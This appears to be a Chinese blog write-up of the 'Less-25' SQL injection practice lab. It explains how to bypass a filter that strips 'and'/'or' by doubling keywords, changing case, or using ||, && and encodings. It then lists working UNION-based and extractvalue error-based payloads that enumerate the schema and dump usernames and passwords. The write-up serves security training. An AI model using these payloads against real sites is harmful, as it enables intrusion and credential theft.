• Less-25


    0x01 判断注入类型

    本关将and和or替换为空
    绕过方法:

    • 双写--or=oorr、and=anandd
    • 大小写--or=Or=OR=oR
    • 利用运算法--or=||、and=&&
    • url编码--#=%23、hex编码--~=0x7e
    • 注释--/or/

    判断字段数为3

    ?id=1' oorrder by 3--+
    

    0x02 判断数据库名

    ?id=-1' union select 1,user(),database()--+
    

    0x03 判断表名

    ?id=-1' union select 1,2,(select group_concat(table_name)from infoorrmation_schema.tables where table_schema='security')--+
    #information中or双写绕过
    

    0x04 判断列名

    ?id=-1' union select 1,2,(select group_concat(column_name)from infoorrmation_schema.columns where table_schema='security' anandd table_name='users')--+
    #and双写绕过
    

    0x05得到数据

    ?id=-1' union select 1,2,(select group_concat(username,passwoorrd)from users)--+
    

    0x06 报错注入

    使用extractvalue报错注入

    ?id=-1'|| extractvalue(1,(concat(0x7e,(select database()),0x7e)))--+
    

  • 相关阅读:
    golang gc
    set password to qcow2
    golang reflect struct
    Mac 自启动管理
    shell exec
    shell 管道 与 mkfifo
    shell 读取文件
    shell 函数
    shell read 命令
    ubuntu 快速安装和设置 mysql
  • 原文地址:https://www.cnblogs.com/observering/p/13722553.html
Copyright © 2020-2023  润新知